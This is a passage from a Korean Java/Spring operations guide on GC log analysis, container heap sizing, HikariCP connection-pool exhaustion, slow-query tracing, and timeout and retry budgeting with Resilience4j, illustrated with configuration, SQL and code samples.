        .maximumSize(50_000)
        .expireAfterWrite(Duration.ofMinutes(10))
        .recordStats()        // 히트율을 지표로
        .build();
누수 유형처방
ThreadLocal 미정리finally { tl.remove(); }
무한 큐(LinkedBlockingQueue())용량 지정 + 거절 정책
JPA 배치에서 영속성 컨텍스트N건마다 flush() · clear()
리스너 · 콜백 등록만 하고 해제 안 함등록 해제 · 약한 참조
정리 — OOM 은 메시지가 칸 이름입니다. HeapDumpOnOutOfMemoryError 와 살아남는 덤프 경로는 미리 켜 두고, 누수 판단은 GC 직후 힙의 바닥 추세로, 분석은 MAT 의 Leak Suspects → Dominator Tree(Retained) → Path to GC Roots 순서로 합니다. 덤프가 없으면 OOMKilled — 힙이 아니라 컨테이너 한도 문제입니다.
OPS 04

GC 로그 해석과 튜닝 — 플래그보다 로그 한 줄이 먼저

GC 튜닝의 90%는 힙 크기를 맞게 주는 것이고, 나머지 10%를 판단하려면 GC 로그가 있어야 합니다. 로그 없이 플래그를 바꾸는 것은 증상 없이 약을 바꾸는 것과 같습니다. G1 · ZGC 의 내부 동작은 🔬 전문가 탭 DEEP 06, 운영 JVM 튜닝 전반은 🧬 고급 탭 ADV 13을 보세요.

1시간 동안의 GC 멈춤 — 점 하나가 멈춤 한 번 0 100 200 300 ms G1 목표 200 ms (MaxGCPauseMillis) Full GC 1.8 s — 축 밖 ZGC — 전부 1 ms 미만 0분 30분 60분 G1 멈춤 ZGC 멈춤 평균 멈춤은 50 ms 라도 저 점 하나가 요청 수천 건을 타임아웃시킵니다
산점도 — 튀는 점 하나가 장애입니다. GC 로그를 보는 목적은 평균이 아니라 최댓값과 그 이유를 찾는 것입니다.

GC 로그 켜기 · 한 줄 읽기

# 운영 표준 — 파일 5개 × 20MB 롤링, 비용은 거의 없습니다
-Xlog:gc*,safepoint:file=/logs/gc-%p.log:time,uptime,level,tags:filecount=5,filesize=20m

# 실행 중인 JVM 에 나중에 켜기 (재시작 없이)
jcmd 1 VM.log output=/logs/gc-live.log what=gc* decorators=time,uptime
[2026-09-30T02:14:07.311+0900][3601.2s][info][gc] GC(812)
  Pause Young (Normal) (G1 Evacuation Pause) 1490M->402M(2048M) 38.112ms
  ─────┬─────           ─────────┬─────────   ──┬── ──┬── ──┬──  ───┬───
   종류                       이유          GC 전  GC 후  힙 전체   멈춤 시간

[...][gc] GC(845) Pause Young (Concurrent Start) (G1 Humongous Allocation) ...
          ↑ 큰 배열(리전의 절반 이상) 할당 — 엑셀 · 큰 JSON 을 의심
[...][gc] GC(851) To-space exhausted
          ↑ 옮길 자리 없음 — 곧 Full GC 가 옵니다
[...][gc] GC(852) Pause Full (G1 Compaction Pause) 2010M->1950M(2048M) 1812.4ms
          ↑ 1.8초 멈춤 + 거의 못 비움(2010→1950) = 힙 부족 또는 누수

로그에서 볼 것 · 판단 기준

항목정상조치가 필요한 신호
Young 멈춤수~수십 msp99 이 목표(200ms) 근처
Pause Full0회한 번이라도 나오면 조사
GC 후 힙(→ 뒤 숫자)평평계속 오름 → OPS 03 누수
GC 시간 비율< 5%> 10% — 처리량이 깎이는 중
Humongous가끔잦으면 리전 크기 · 코드 확인
ZGC Allocation Stall0나오면 힙이 작다는 뜻
# 로그를 잴 때 쓰는 한 줄 — 멈춤 시간 상위 10개
grep -oE "Pause [A-Za-z ]+\(.*\) .* [0-9.]+ms" gc-1.log \
  | awk '{print $NF, $0}' | sort -rn | head -10

# Java 21+ 에서는 JFR 로도 — GC 멈춤 요약 표
jfr view gc-pauses recording.jfr
그림으로 보고 싶으면 — GC 로그 파일을 GCeasy(웹) 나 GCViewer(로컬)에 넣으면 멈춤 분포 · 힙 추이가 바로 나옵니다. 사내 로그를 외부에 올릴 수 없으면 GCViewer 를 쓰세요.

한 단계 더 — G1 이냐 ZGC 냐 🟡 중급

GC 고르기 — 가로는 힙 크기, 세로는 지연에 얼마나 민감한가 힙 크기 → 지연 우선 처리량 우선 힙 8 GB 이상 · p99 이 중요하면 이 칸 Serial — 1 CPU Parallel — 배치 G1 — 기본값 ZGC (세대형) 대부분의 웹 서비스는 G1 에서 끝납니다 — 바꾸기 전에 로그로 이유를 대세요
사분면 — 힙이 작고 p99 이 느슨하면 G1 그대로. ZGC 는 "큰 힙 + 엄격한 p99" 칸에서만 값을 합니다.

켜는 법 · 버전별 차이

# G1 — Java 9+ 기본값. 따로 쓸 것 없음
#   (단, 아래 '컨테이너 함정'에 걸리면 Serial 이 선택됩니다)
-XX:+UseG1GC -XX:MaxGCPauseMillis=200     # 200 이 기본값

# ZGC — Java 25 LTS 는 이것만으로 세대형(Generational) ZGC
-XX:+UseZGC
#   Java 21    : -XX:+UseZGC -XX:+ZGenerational  (세대형을 명시)
#   Java 23    : 세대형이 기본
#   Java 24+   : 비세대형 제거

# 지금 무엇이 켜져 있나 — 추측하지 말고 확인
jcmd 1 VM.flags | tr ' ' '\n' | grep -E "Use.*GC|MaxHeapSize|MaxRAMPercentage"
jcmd 1 GC.heap_info

고르는 기준

상황선택이유
힙 < 8 GB 웹 APIG1멈춤 수십 ms 로 충분
힙 16 GB+ · p99 < 10 msZGC멈춤이 힙 크기와 무관
야간 배치 · 처리량만Parallel멈춤 길어도 총 시간 짧음
CPU 1개 · 힙 수백 MBSerialGC 스레드 여럿이 오히려 손해
ZGC 의 대가 — 동시에 도는 GC 가 CPU 를 더 쓰고, 힙 여유가 부족하면 Allocation Stall(할당하던 스레드가 멈춤)이 납니다. ZGC 로 바꿀 때는 힙을 10~20% 더 주고, CPU 사용률을 같이 보세요.

실무에선 이렇게 — 컨테이너 메모리 잡기 🔴 실무

MaxRAMPercentage — 기본값 25% 의 함정

# Deployment — 한도와 힙 비율을 '함께' 정합니다
resources:
  requests: { cpu: "2", memory: "2Gi" }
  limits:   { cpu: "2", memory: "2Gi" }
env:
  - name: JAVA_TOOL_OPTIONS
    value: >-
      -XX:MaxRAMPercentage=70.0
      -XX:InitialRAMPercentage=70.0
      -XX:+UseG1GC
컨테이너 한도권장 비율남는 몫의 용도
512 MiB 이하50~60%메타스페이스 · 스택이 상대적으로 큼
1~4 GiB65~75%스레드 200개 × 1MB + Direct
8 GiB 이상75~80%네이티브 몫이 거의 고정

컨테이너에서 자주 당하는 것

❌ 아무것도 안 줌
기본 MaxRAMPercentage 는 25%입니다. 2 GiB 컨테이너에 힙 512 MiB — 메모리는 남는데 Java heap space 로 죽습니다.
❌ -Xmx 를 한도와 같게
-Xmx2g + 한도 2Gi — 힙 밖 칸이 들어갈 자리가 없어 OOMKilled.
# JVM 이 본 CPU · 메모리 확인 — 컨테이너 안에서
java -XX:+PrintFlagsFinal -version 2>/dev/null \
  | grep -E " MaxHeapSize | ActiveProcessorCount | Use(Serial|G1)GC "
# CPU 2개 미만 또는 메모리 약 1.8 GB 미만이면 JVM 이 Serial GC 를 고릅니다
#   → limits.cpu 를 2 이상으로 하거나 -XX:+UseG1GC 를 명시
InitialRAMPercentage 를 같게 주는 이유 — 힙이 작게 시작해서 커지는 동안 잦은 GC 와 힙 확장이 일어납니다. 서버는 어차피 그 메모리를 쓸 것이므로 처음부터 잡아 두는 게 낫습니다.
정리 — GC 로그는 항상 켜 둡니다(비용 거의 없음). 볼 것은 Pause Full · GC 후 힙 추세 · 멈춤 최댓값 세 가지. 대부분 G1 + 맞는 힙 크기로 끝나고, 컨테이너에서는 MaxRAMPercentage 를 65~75%로, CPU 는 2개 이상을 주거나 GC 를 명시하세요.
OPS 05

커넥션 풀 고갈 — 풀을 늘리기 전에 '쥔 시간'을 보세요

자바 웹 서비스 장애에서 가장 자주 보는 로그 한 줄이 Connection is not available, request timed out 입니다. DB 는 한가한데 서비스가 멈춘다면 거의 이것입니다. 원인은 대개 풀이 작아서가 아니라 커넥션을 쥐고 다른 일을 하는 코드입니다. 풀 크기 계산 · 설정값 · 안티패턴 순서로 봅니다.

고갈 순간의 세 게이지 — 오른쪽이 한가한 것이 단서입니다 10 / 10 활성 커넥션 빈 커넥션 0개 2.84 s 획득 대기 p99 타임아웃 3 s 의 95% 22% DB CPU DB 는 한가함 풀은 꽉 찼는데 DB 가 놀고 있다 = 커넥션을 쥔 채 DB 가 아닌 일을 하는 중
게이지 — 세 값을 나란히 놓아야 진단이 됩니다. 왼쪽 둘만 보면 "풀을 늘리자"가 되고, 셋을 보면 "누가 쥐고 있나"가 됩니다.

증상 — 로그와 지표

HikariPool-1 - Connection is not available, request timed out after 3000ms
  (total=10, active=10, idle=0, waiting=37)
       ↑ 전부 사용 중   ↑ 빈 것 없음  ↑ 37개 스레드가 줄 서 있음

org.springframework.transaction.CannotCreateTransactionException:
  Could not open JPA EntityManager for transaction
Caused by: java.sql.SQLTransientConnectionException: HikariPool-1 - ...
# Actuator + Micrometer 가 자동으로 내보내는 지표 (Prometheus 이름)
hikaricp_connections_active{pool="HikariPool-1"}     # 사용 중
hikaricp_connections_pending{pool="HikariPool-1"}    # ★ 대기 스레드 수
hikaricp_connections_timeout_total                   # 타임아웃 누적
hikaricp_connections_acquire_seconds                 # 획득까지 걸린 시간
hikaricp_connections_usage_seconds                   # ★ 쥐고 있던 시간

# 쥔 시간 p99 — 이게 길면 코드 문제
histogram_quantile(0.99,
  sum by (le) (rate(hikaricp_connections_usage_seconds_bucket[5m])))
usage 히스토그램을 켜야 p99 를 볼 수 있습니다 — management.metrics.distribution.percentiles-histogram.hikaricp.connections.usage: true. 평균 사용 시간이 20ms 인데 p99 가 2초라면 특정 코드 경로가 범인입니다.

풀 크기 계산 — 리틀의 법칙

필요한 커넥션 수 = 초당 트랜잭션 × 커넥션을 쥐는 평균 시간(초)

예) 인스턴스 하나에 초당 200 트랜잭션, 쥐는 시간 평균 25 ms
    200 × 0.025 = 5개   →  여유 2배  →  maximumPoolSize = 10

같은 트래픽인데 쥐는 시간이 1.8 s 라면?
    200 × 1.8   = 360개  →  풀로 해결할 수 없는 숫자
                            (DB max_connections 를 먼저 넘습니다)

DB 쪽 상한도 함께 확인
    인스턴스 6대 × 풀 10 = 60  ≤  DB max_connections 150 의 70%
    배포 중에는 새 파드가 겹쳐 뜨므로 (maxSurge) 순간적으로 더 많아집니다
상황판단
usage p99 짧음 · pending 계속풀이 정말 작음 — 조금 늘림
usage p99 김 · DB 한가코드 문제 — 늘리면 악화
usage 김 · DB CPU 높음슬로우 쿼리 (OPS 06)

한 단계 더 — 설정값 정하기 🟡 중급

운영용 application.yml — 값마다 이유

spring:
  datasource:
    hikari:
      pool-name: order-db
      maximum-pool-size: 10        # 리틀의 법칙 × 2. '많을수록 좋다'가 아님
      minimum-idle: 10             # 고정 크기 풀 권장 (HikariCP 공식 권고)
      connection-timeout: 3000     # 기본 30초! 사용자는 30초를 안 기다립니다
      validation-timeout: 1000
      max-lifetime: 1740000        # 29분 — DB/방화벽의 유휴 끊김(예: 30분)보다 짧게
      keepalive-time: 300000       # 5분마다 유휴 커넥션 살아 있는지 확인
      leak-detection-threshold: 20000  # 20초 넘게 쥐면 스택과 함께 경고 로그
  jpa:
    open-in-view: false            # ★ 요청 끝까지 커넥션을 쥐는 일을 막음

management:
  metrics:
    distribution:
      percentiles-histogram:
        hikaricp.connections.usage: true
        hikaricp.connections.acquire: true

각 값의 판단 근거

설정기본값운영 권장
connection-timeout300002000~5000 — 빨리 실패해 서킷 · 폴백이 일하게
maximum-pool-size10계산값. 보통 10~30
max-lifetime1800000인프라 유휴 끊김보다 30초 이상 짧게
leak-detection-threshold0(끔)정상 최장 트랜잭션의 2~3배
leak-detection 이 남기는 로그 — 범인 코드 줄이 그대로 찍힙니다
WARN  com.zaxxer.hikari.pool.ProxyLeakTask - Connection leak detection
  triggered for org.postgresql.jdbc.PgConnection@3c1f... on thread
  http-nio-8080-exec-5, stack trace follows
java.lang.Exception: Apparent connection leak detected
    at com.shop.order.PaymentService.pay(PaymentService.java:47)
leak-detection 은 '누수'만 잡지 않습니다 — 임계값보다 오래 쥔 모든 경우를 찍습니다. 그래서 "외부 호출을 트랜잭션 안에서 하는 코드"를 찾는 데 가장 빠른 도구입니다. 나중에 돌려주면 Previously reported leaked connection ... was returned 가 따라 찍힙니다.

실무에선 이렇게 — 쥔 시간을 줄이는 코드 🔴 실무

결제 한 건 — 응답 시간은 같고, 커넥션을 쥔 시간만 다릅니다 0 500 1000 1500 2000 ms ❌ 트랜잭션 안에서 호출 SELECT 주문 6 ms 결제 API 호출 1,800 ms — 커넥션을 쥔 채 대기 UPDATE · COMMIT 10 커넥션 점유 1,818 ms ✅ 호출을 트랜잭션 밖으로 결제 API 호출 1,800 ms — 커넥션 없이 대기 짧은 트랜잭션 16 커넥션 점유 16 ms — 110배 이상 짧음 풀 크기는 '쥔 시간'이 정합니다 — 쥔 시간을 줄이면 풀은 그대로 둬도 됩니다
워터폴 — 막대의 길이는 같고 색만 다릅니다. 붉은 막대 동안 커넥션 하나가 아무 일도 안 하고 묶여 있습니다.
❌ 트랜잭션 안에서 외부 호출
@Transactional
public void pay(Long orderId) {
    Order order = orderRepository.findById(orderId).orElseThrow();
    // 1.8초 동안 커넥션을 쥔 채 HTTP 응답을 기다립니다
    PaymentResult r = paymentClient.approve(order.toPaymentRequest());
    order.markPaid(r.txId());           // 더티 체킹으로 UPDATE
}
✅ 읽기 · 외부 호출 · 쓰기를 분리
private final TransactionTemplate tx;   // 같은 클래스 안에서도 확실히 동작

public void pay(Long orderId) {
    PaymentRequest req = tx.execute(s ->
            orderRepository.findById(orderId).orElseThrow().toPaymentRequest());

    PaymentResult r = paymentClient.approve(req);   // 커넥션 없이 대기

    tx.executeWithoutResult(s ->
            orderRepository.findById(orderId).orElseThrow().markPaid(r.txId()));
}

분리하면 생기는 질문 — "결제는 됐는데 저장이 실패하면?"

// 외부 호출에 멱등 키를 붙이면 '다시 해도 한 번'이 됩니다
PaymentResult r = paymentClient.approve(req, "order-" + orderId);

// 저장 실패 시: 예외를 던지고 재시도 큐로 → 재시도 때 같은 키로 조회만 됨
// 또는 '결제 요청됨' 상태를 먼저 커밋해 두고 결과를 나중에 반영 (상태 기계)
정합성은 트랜잭션 하나로 묶는 게 아니라 설계로 지킵니다 — 멱등 키 · 상태 기계 · 아웃박스는 ⚡ 대규모 탭 SCALE 07 · 10에 자세히 있습니다.

그 밖에 커넥션을 오래 쥐는 코드

패턴처방
open-in-view: true(기본값)false — 뷰 렌더링 · 직렬화 동안 쥐지 않게
트랜잭션 안의 대용량 루프 · 파일 생성청크로 나눠 짧은 트랜잭션 여러 개
REQUIRES_NEW 중첩스레드 하나가 커넥션 2개 → 풀 교착
@Transactional 안 Thread.sleep · 락 대기트랜잭션 밖에서 대기
REQUIRES_NEW 의 풀 교착 — 풀 10, 요청 10개가 동시에 바깥 트랜잭션으로 커넥션 10개를 다 쥔 뒤 안쪽 REQUIRES_NEW 가 11번째를 기다리면 아무도 못 끝납니다. HikariCP 권장식 풀 ≥ 스레드 수 × (한 스레드의 최대 동시 커넥션 − 1) + 1 을 지키거나 중첩을 없애세요.
정리 — 풀 고갈은 active · pending · usage(쥔 시간) · DB CPU 네 값을 같이 봅니다. DB 가 한가한데 고갈이면 풀을 늘리지 말고 leak-detection 로그로 오래 쥐는 코드를 찾아 외부 호출을 트랜잭션 밖으로 빼세요. connection-timeout 은 30초 기본값을 3초 안팎으로 줄입니다.
OPS 06

슬로우 쿼리 실전 추적 — 가장 느린 것 말고 '총합이 큰 것'

"느린 쿼리 찾아 주세요"라는 말을 들으면 보통 한 번에 4초 걸리는 리포트 쿼리를 찾습니다. 그런데 서비스를 실제로 무겁게 만드는 것은 대개 3ms 짜리가 5만 번 도는 쿼리입니다. 이 섹션은 DB · 앱 · 테스트 세 곳에서 쿼리를 잡는 법을 다룹니다. N+1 을 고치는 JPA 기법(fetch join · batch size)은 🧩 JPA 심화 탭에 있습니다.

1시간 동안 쿼리별 '총' 실행 시간 — 횟수 × 건당 시간 0 40 80 120 160 s order_item by order_id 144 s = 48,000회 × 3 ms 주간 매출 리포트 50 s = 12회 × 4.2 s coupon by user_id 36 s product LIKE 검색 27 s member by id 21 s "가장 느린 한 건"은 리포트지만, DB 를 가장 오래 붙잡는 것은 3 ms 짜리입니다 정렬 기준을 평균이 아니라 총합(total)으로 바꾸는 것이 추적의 첫걸음입니다
막대 — 총합으로 정렬하면 N+1 이 맨 위로 올라옵니다. 평균으로 정렬하면 영영 안 보입니다.

DB 에서 잡기 — 총합 상위 10개

-- PostgreSQL (pg_stat_statements 확장, PG 13+ 컬럼명)
SELECT calls,
       round(total_exec_time)       AS total_ms,
       round(mean_exec_time::numeric, 1) AS mean_ms,
       rows,
       left(query, 80)              AS query
FROM   pg_stat_statements
ORDER  BY total_exec_time DESC
LIMIT  10;

-- MySQL 8 (performance_schema — 타이머 단위는 피코초)
SELECT LEFT(DIGEST_TEXT, 80)              AS query,
       COUNT_STAR                         AS calls,
       ROUND(SUM_TIMER_WAIT / 1e12, 1)    AS total_s,
       ROUND(AVG_TIMER_WAIT / 1e9, 1)     AS avg_ms
FROM   performance_schema.events_statements_summary_by_digest
ORDER  BY SUM_TIMER_WAIT DESC
LIMIT  10;

어디서 잡을까 — 도구별 자리

위치도구장점 · 한계
DB 통계pg_stat_statements · performance_schema운영 부담 없음 · 어느 코드인지 모름
DB 슬로우 로그long_query_time · log_min_duration_statement느린 한 건 · N+1 은 못 잡음
앱 프록시datasource-proxy · p6spy바인딩 값 · 호출 위치 확인
ORMHibernate 통계 · 슬로우 로그세션당 쿼리 수
APM · 트레이싱OpenTelemetry · Pinpoint 등요청 단위 워터폴
테스트쿼리 개수 단언배포 전에 막음
-- 슬로우 로그 켜기 (재시작 없이)
-- MySQL
SET GLOBAL slow_query_log = ON;
SET GLOBAL long_query_time = 0.5;
-- PostgreSQL (postgresql.conf 또는)
ALTER SYSTEM SET log_min_duration_statement = '500ms';
SELECT pg_reload_conf();

한 단계 더 — 앱에서 '어느 코드가' 보냈는지 잡기 🟡 중급

datasource-proxy — 운영에서도 켤 수 있는 슬로우 로그

implementation("net.ttddyy:datasource-proxy:1.10")
@Component
class SlowQueryProxy implements BeanPostProcessor {

    @Override
    public Object postProcessAfterInitialization(Object bean, String name) {
        if (bean instanceof DataSource ds && !(bean instanceof ProxyDataSource)) {
            return ProxyDataSourceBuilder.create(ds)
                    .name("order-db")
                    .logSlowQueryBySlf4j(500, TimeUnit.MILLISECONDS)  // 0.5초 넘는 것만
                    .multiline()
                    .build();
        }
        return bean;
    }
}
// 로그: Name:order-db, Time:1823, Success:True, Type:Prepared,
//       Query:["select ... from coupon where user_id=?"], Params:[(1042)]
p6spy 는 개발 · 스테이징용 — p6spy-spring-boot-starter 는 모든 쿼리를 바인딩 값과 함께 찍어 로컬에서 N+1 을 눈으로 보기 좋습니다. 운영에서 전부 찍으면 로그 폭탄이 되니 운영은 임계값 기반(위 코드)만 켭니다.

Hibernate — 세션당 쿼리 수 · 슬로우 로그

spring:
  jpa:
    properties:
      hibernate:
        generate_statistics: true     # 세션(요청)마다 요약을 남김 — 스테이징용
        log_slow_query: 500           # Hibernate 6.2+ (Boot 3.1+), ms
logging:
  level:
    org.hibernate.SQL_SLOW: info
    org.hibernate.engine.internal.StatisticalLoggingSessionEventListener: info
Session Metrics {
    812300 nanoseconds spent acquiring 1 JDBC connections;
    48211000 nanoseconds spent preparing 51 JDBC statements;   ← 51개!
    193004000 nanoseconds spent executing 51 JDBC statements;
    ...
}
→ 주문 50건 목록 화면에서 쿼리 51개 = 목록 1 + 주문마다 1 = N+1
"51" 같은 숫자가 보이면 — 목록 크기 + 1 이면 N+1 입니다. 고치는 법(fetch join · @EntityGraph · default_batch_fetch_size)은 JPA 심화 탭에 있습니다.

이렇게도 쓸 수 있다 — 실행 계획 읽기 🟡 중급

EXPLAIN ANALYZE — 실제로 실행해서 잰 계획

-- PostgreSQL : 실제 시간 · 행 수 · 버퍼까지
EXPLAIN (ANALYZE, BUFFERS)
SELECT * FROM coupon WHERE user_id = 1042 AND status = 'ACTIVE';

Seq Scan on coupon  (cost=0.00..48120.00 rows=12 width=96)
                    (actual time=0.03..1820.41 rows=9 loops=1)
  Filter: ((user_id = 1042) AND (status = 'ACTIVE'))
  Rows Removed by Filter: 2399991            ← 240만 행을 읽고 9개 남김
Execution Time: 1820.6 ms

-- 처방: 조건 컬럼에 인덱스
CREATE INDEX CONCURRENTLY idx_coupon_user_status ON coupon (user_id, status);
--  → Index Scan ... actual time=0.04..0.06 rows=9   Execution Time: 0.1 ms

-- MySQL 8.0.18+ : 같은 기능
EXPLAIN ANALYZE SELECT * FROM coupon WHERE user_id = 1042;

계획에서 이 단어가 보이면

보이는 것뜻 · 조치
Seq Scan / type=ALL테이블 전체 읽기 — 큰 테이블이면 인덱스
Rows Removed by Filter 큼읽고 버리는 행이 많음 — 조건 컬럼 인덱스
예상 rows ≠ 실제 rows (10배+)통계가 낡음 — ANALYZE 테이블
Sort Method: external merge Disk정렬이 메모리를 넘침 — 인덱스 정렬 · work_mem
Using filesort · Using temporaryMySQL 정렬 · 임시 테이블 — ORDER BY 인덱스
Nested Loop + 바깥 행 많음조인 순서 · 조인 컬럼 인덱스 확인
운영 DB 에서 EXPLAIN ANALYZE 는 쿼리를 '진짜로' 실행합니다 — UPDATE · DELETE 에 쓰면 데이터가 바뀝니다. BEGIN; EXPLAIN ANALYZE ...; ROLLBACK; 으로 감싸거나 읽기 복제본에서 하세요. 인덱스 추가는 PG 는 CONCURRENTLY, MySQL 은 온라인 DDL 로.

실무에선 이렇게 — N+1 을 테스트로 막기 🔴 실무

쿼리 개수를 단언하는 테스트

@SpringBootTest
@TestPropertySource(properties =
        "spring.jpa.properties.hibernate.generate_statistics=true")
class OrderListQueryCountTest {

    @Autowired EntityManagerFactory emf;
    @Autowired OrderQueryService orderQueryService;

    @Test
    void 주문_목록은_주문_수와_무관하게_쿼리_2개_이하() {
        Statistics stats = emf.unwrap(SessionFactory.class).getStatistics();
        stats.clear();

        orderQueryService.findRecentOrders(50);   // 테스트 데이터 50건 준비 가정

        assertThat(stats.getPrepareStatementCount())
                .as("N+1 의심 — fetch join 이나 batch size 확인")
                .isLessThanOrEqualTo(2);
    }
}

장애 중 슬로우 쿼리 대응 순서

-- ① 지금 도는 긴 쿼리 (PostgreSQL)
SELECT pid, now() - query_start AS dur, state, left(query, 80)
FROM   pg_stat_activity
WHERE  state <> 'idle' AND now() - query_start > interval '5 seconds'
ORDER  BY dur DESC;

-- ② 정말 필요하면 그 쿼리만 취소 (커넥션은 유지)
SELECT pg_cancel_backend(12345);

-- MySQL
SELECT id, time, state, LEFT(info, 80) FROM information_schema.processlist
WHERE  command <> 'Sleep' AND time > 5 ORDER BY time DESC;
KILL QUERY 12345;
근본 대책은 타임아웃 — 쿼리마다 상한이 있으면 한 쿼리가 풀 전체를 잡아먹지 못합니다. spring.transaction.default-timeout · JPA jakarta.persistence.query.timeout 힌트 · DB 쪽 statement_timeout 은 OPS 07에서 예산과 함께 정합니다.
정리 — 쿼리는 총합(횟수 × 건당)으로 정렬해 찾고, DB 통계 → 앱 프록시(어느 코드) → 실행 계획 순서로 좁힙니다. 운영엔 임계값 기반 슬로우 로그만, p6spy 는 개발에서만. 그리고 쿼리 개수 단언 테스트로 N+1 이 다시 들어오지 못하게 막습니다.
OPS 07

타임아웃 · 재시도 · 서킷 — 값을 '계산'해서 정하기

"타임아웃은 몇 초로 하죠?"에 "3초요"라고 감으로 답하면 장애 때 두 가지가 터집니다. 하위 호출 타임아웃의 합이 상위보다 길어서 사용자는 이미 떠났는데 서버만 일하거나, 재시도가 곱해져서 아픈 서비스를 더 때리는 것입니다. 서킷 브레이커의 원리는 ⚡ 대규모 탭 SCALE 11에 있고, 여기서는 숫자를 정하는 법만 다룹니다.

타임아웃 예산 — 하위의 합(재시도 포함)이 상위 안에 들어와야 합니다 게이트웨이 3,000 ms 자체 처리 100 DB 쿼리 (상한) 300 결제 1차 연결 200 + 읽기 800 백오프 + 지터 200 결제 재시도 1,000 여유 400 ❌ 읽기 타임아웃 없음 끝이 없음 — 상위가 끊어도 스레드는 묶임 0 1000 2000 3000 ms 상위 타임아웃 ≥ 자체 + Σ(연결 + 읽기) × 시도 횟수 + 백오프 + 여유 안쪽으로 갈수록 짧아야 합니다 — 바깥이 먼저 끊기면 안쪽 일은 전부 버려집니다
워터폴 — 재시도까지 그려 넣어야 예산이 보입니다. 재시도 한 번은 막대 하나를 통째로 더하는 일입니다.

타임아웃 여섯 종류 — 전부 따로 정합니다

종류뜻보통 값
연결TCP 연결 맺기까지사내 200~500 ms · 외부 1 s
읽기(응답)응답 바이트를 기다리는 최대 시간상대 p99 × 2~3
풀 획득Hikari · HTTP 커넥션 풀 대기1~3 s (OPS 05)
쿼리SQL 한 문장OLTP 1~3 s
트랜잭션@Transactional(timeout=)쿼리 상한의 합 + 여유
전체 호출재시도 포함 총 시간상위 예산에서 역산
기본값을 믿지 마세요 — JDK HttpClient 의 읽기 타임아웃 · 많은 JDBC 드라이버의 소켓 타임아웃은 기본이 무한입니다. "설정 안 함"은 "무한 대기"와 같은 말입니다.

읽기 타임아웃 정하는 법 — 상대의 p99 에서 출발

결제 API 지난 7일 지연: p50 120 ms · p99 380 ms · p99.9 900 ms

읽기 타임아웃 = p99.9 근처 → 800 ~ 1,000 ms
  · p99 로 잡으면(380) 정상 요청 1% 를 스스로 끊습니다
  · 10초로 잡으면 장애 때 스레드가 10초씩 묶입니다

호출 쪽 예산 (게이트웨이 3,000 ms) 에서 역산
  자체 100 + DB 300 + (200 + 800) × 2회 + 백오프 200 = 2,600
  → 여유 400 ms. 재시도를 2번으로 늘리면 3,600 — 예산 초과 ✗
# 상대 서비스의 p99 를 우리 쪽 클라이언트 지표로 (Micrometer)
histogram_quantile(0.99, sum by (le, uri) (
  rate(http_client_requests_seconds_bucket{client_name="pay.internal"}[7d])))

한 단계 더 — 클라이언트마다 실제로 넣는 코드 🟡 중급

RestClient (Spring 6.1+ · Boot 3.2+)

@Bean
RestClient paymentClient(RestClient.Builder builder) {
    var http = java.net.http.HttpClient.newBuilder()
            .connectTimeout(Duration.ofMillis(200))      // 연결
            .build();
    var factory = new JdkClientHttpRequestFactory(http);
    factory.setReadTimeout(Duration.ofMillis(800));       // 읽기

    return builder
            .baseUrl("https://pay.internal")
            .requestFactory(factory)
            .build();
}

WebClient (Reactor Netty)

var http = reactor.netty.http.client.HttpClient.create()
        .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 200)
        .responseTimeout(Duration.ofMillis(800));
WebClient client = WebClient.builder()
        .baseUrl("https://pay.internal")
        .clientConnector(new ReactorClientHttpConnector(http))
        .build();

DB 쪽 — 쿼리 · 트랜잭션 · 소켓

spring:
  transaction:
    default-timeout: 5s          # @Transactional 전역 상한
  datasource:
    # PostgreSQL — 서버에서 쿼리 상한 + 드라이버 소켓 상한
    url: jdbc:postgresql://db:5432/shop?options=-c%20statement_timeout=3000&socketTimeout=10
    # MySQL — 드라이버 상한 (ms)
    # url: jdbc:mysql://db:3306/shop?connectTimeout=1000&socketTimeout=5000
// 특정 쿼리만 더 짧게 (JPA 표준 힌트, ms)
@QueryHints(@QueryHint(name = "jakarta.persistence.query.timeout", value = "1000"))
List<Coupon> findByUserId(Long userId);

// 특정 트랜잭션만 (초)
@Transactional(timeout = 2)
public void settle(Long orderId) { ... }
소켓 타임아웃은 '최후의 안전망' — 쿼리 타임아웃보다 길게 둡니다. 쿼리 타임아웃은 DB 가 쿼리를 정상 취소하지만, 소켓 타임아웃은 커넥션을 끊어 버리기 때문입니다.

실무에선 이렇게 — 재시도가 장애를 키우지 않게 🔴 실무

장애 후 하위 서비스에 도달하는 요청 배수 — 평소를 1배로 0 1× 5× 10× 장애 시작 재시도 3회 × 3계층 그대로 — 10배 가까이 지터 + 재시도 예산 + 서킷 — 오히려 줄여 줌 0분 5분 10분 계층마다 3번씩 재시도하면 3 × 3 × 3 = 27배까지 곱해질 수 있습니다
라인 — 재시도는 곱해집니다. 회복하려는 서비스에 평소의 10배를 보내는 것은 재시도가 아니라 공격입니다.

Resilience4j — 지터 있는 재시도 + 서킷

implementation("io.github.resilience4j:resilience4j-spring-boot3")
implementation("org.springframework.boot:spring-boot-starter-aop")
@Bean
RetryConfigCustomizer paymentRetry() {
    return RetryConfigCustomizer.of("payment", b -> b
            .maxAttempts(2)                               // 최초 1 + 재시도 1
            .intervalFunction(IntervalFunction
                    .ofExponentialRandomBackoff(Duration.ofMillis(200), 2.0, 0.5))
            .retryExceptions(ResourceAccessException.class)   // I/O · 타임아웃만
            .ignoreExceptions(HttpClientErrorException.class,  // 4xx 는 다시 해도 같음
                              CallNotPermittedException.class)); // 서킷 열림
}
resilience4j:
  circuitbreaker:
    instances:
      payment:
        sliding-window-size: 50
        minimum-number-of-calls: 20
        failure-rate-threshold: 50
        slow-call-duration-threshold: 800ms   # 읽기 타임아웃과 맞춤
        slow-call-rate-threshold: 80
        wait-duration-in-open-state: 20s
        permitted-number-of-calls-in-half-open-state: 5

무엇을 재시도해도 되나 — 멱등성

// 기본 순서: Retry 가 바깥, CircuitBreaker 가 안쪽 — 시도마다 브레이커를 거치고,
// 열려 있으면 CallNotPermittedException(재시도 제외)으로 바로 끝납니다.
// 폴백은 바깥(Retry)에 둡니다 — 안쪽 브레이커에 두면 첫 실패를 폴백이 삼켜 재시도가 아예 안 일어납니다
@CircuitBreaker(name = "payment")
@Retry(name = "payment", fallbackMethod = "pending")
public PaymentResult approve(PaymentRequest req, String idemKey) {
    return paymentClient.post().uri("/approve")
            .header("Idempotency-Key", idemKey)   // 같은 키 = 같은 결과
            .body(req)
            .retrieve()
            .body(PaymentResult.class);
}

private PaymentResult pending(PaymentRequest req, String idemKey, Throwable t) {
    return PaymentResult.pending(idemKey);   // '확인 중' 으로 응답하고 나중에 조회
